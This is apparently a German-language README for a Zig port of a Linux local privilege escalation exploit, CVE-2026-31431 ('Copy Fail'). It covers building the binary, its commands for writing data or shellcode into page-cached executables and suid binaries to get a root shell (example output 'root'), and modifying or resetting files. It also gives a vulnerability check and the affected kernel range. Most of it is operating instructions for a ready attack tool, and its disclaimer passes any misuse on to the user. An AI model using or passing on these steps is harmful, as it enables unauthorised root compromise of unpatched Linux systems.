
Zig-Implementierung des Copy Fail Linux LPE (CVE-2026-31431), die eine eigenständige Binärdatei zur Ausnutzung der Schwachstelle für Sicherheitsforschung und defensive Erkennung bereitstellt, einschließlich Shellcode-Injektion und System-Schwachstellenprüfungen.
Zig-Implementierung des 732 Byte großen Proof of Concept für die Copy Fail Linux LPE (CVE-2026-31431), die von Theori / Xint am 29. April 2026 veröffentlicht wurde. Der Writeup ist unter copy.fail zu finden.
Diese Implementierung hat keine Laufzeitabhängigkeiten und kann als eigenständige Binärdatei ausgeführt werden.
Für den Build des Exploits wird Zig Version 0.16.0 oder höher benötigt, das von ziglang.org installiert werden kann. Um den Exploit zu bauen, führen Sie den folgenden Befehl im Terminal aus:
zig build
Optional kann er für ein anderes Ziel kreuzkompiliert werden, z. B.
zig build -Dcpu=baseline -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSmall
oder mit unkomprimierten Payloads
zig build -Dcompress=false
Entweder die kompilierte Binärdatei ausführen oder zig verwenden, um sie auszuführen
zig-out/bin/copyfail
ODER
zig build run
$ zig-out/bin/copyfail
Verwendung:
run <pfad> <daten> [offset] [-- args...] - Schreibt Daten in die ausführbare Datei am angegebenen Offset (Standard 0) und führt sie aus
sudo <suid_pfad> [befehl...] - Führt einen Befehl als root aus, indem Shellcode in eine suid-Binärdatei geschrieben wird.
(das erste Argument des Befehls muss der vollständige Pfad zum auszuführenden Programm sein)
modify <pfad> <daten> [offset] - Schreibt Daten in die Datei am angegebenen Offset (Standard 0)
reset <pfad> - Setzt die Datei auf ihren ursprünglichen Zustand zurück
help - Zeigt diese Meldung an
Die ausführbare Datei kann mit verschiedenen Befehlen ausgeführt werden:
run
schreibt zuerst die bereitgestellten Daten am angegebenen Offset (Standard 0) in die ausführbare Datei am angegebenen Pfad und führt sie dann aus.
Nach Abschluss der Ausführung wird die Datei mit posix_fadvise auf ihren ursprünglichen Zustand zurückgesetzt.
Beispiel:
copyfail run /pfad/zur/exe $(cat shellcode_bin) -- /bin/sh
sudo
schreibt enthaltenen Shellcode in eine suid-Binärdatei und führt ihn aus, um einen Befehl als root auszuführen.
Der Quellcode des Shellcodes befindet sich in payloads/sudo.zig.
Das erste Argument des Befehls muss der vollständige Pfad zum Programm sein, da der Shellcode nicht nach dem auszuführenden Programm sucht.
Nach Abschluss der Ausführung wird die Datei wie beim Befehl run zurückgesetzt.
Beispiel:
$ copyfail sudo /usr/bin/su /usr/bin/whoami
root
modify
schreibt die bereitgestellten Daten am angegebenen Offset (Standard 0) in die Datei am angegebenen Pfad, ohne sie auszuführen.
Nach der Änderung wird die Datei NICHT zurückgesetzt. Verwenden Sie den Befehl reset, um sie zurückzusetzen.
Beispiel:
copyfail modify /pfad/zur/datei "Mein neuer Inhalt" 1337
reset
setzt die Datei am angegebenen Pfad mit posix_fadvise auf ihren ursprünglichen Zustand zurück. Dies verwirft die gecachte Seite und liest den Inhalt beim nächsten Zugriff von der Festplatte.
Beispiel:
copyfail reset /pfad/zur/datei
is_vulnerable
prüft, ob das System verwundbar ist, indem eine temporäre Datei erstellt, Testdaten hineingeschrieben und wieder gelesen werden, um zu sehen, ob die Daten beschädigt wurden.
Beispiel:
$ copyfail is_vulnerable
Warnung: System ist verwundbar
ODER
Info: System ist nicht verwundbar
help
gibt die Verwendungsmeldung aus.
untere Grenze: torvalds/linux 72548b093ee3 August 2017, v4.14
(AF_ALG iov_iter-Umarbeitung, die
die File-Page-Schreibprimitive
über splice in die AEAD-
Scatterlist einführte)
obere Grenze: torvalds/linux a664bf3d603d April 2026, mainline
(macht die In-Place-Optimierung
von algif_aead aus 2017 rückgängig;
trennt Quell- und Ziel-Scatterlists,
sodass Page-Cache-Seiten kein
beschreibbares Krypto-Ziel mehr
sein können)
Dazwischen: jeder große Distro-Kernel, der den Fix nicht zurückportiert hat.
Ubuntu, RHEL, SUSE, Amazon Linux und Debian wurden zum Zeitpunkt der Offenlegung alle in ihren Standard-Cloud-Image-Kerneln als verwundbar bestätigt. Backports auf Distro-Ebene wurden ab etwa 2026-04-29 zusammen mit der öffentlichen Offenlegung ausgerollt. Um zu überprüfen, ob ein Zielkernel im betroffenen Zeitraum liegt, prüfen Sie, ob a664bf3d603d (oder sein distrospezifischer Backport) im Git-Log des Kernels oder im Changelog der Distro vorhanden ist.
Entdeckung und ursprüngliche Offenlegung von CVE-2026-31431: Theori / Xint. Öffentlicher Writeup unter copy.fail.
Diese Zig-Implementierung: Emmmmllll [email protected]
Der Zig-Compiler und die Standardbibliothek: Zig Software Foundation unter MIT-Bedingungen https://codeberg.org/ziglang/zig.
Der Exploit und der Payload werden für Sicherheitsforschung und defensive Erkennungszwecke veröffentlicht. Die Verwendung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testautorisierung haben, ist Ihr Problem, nicht das des Autors.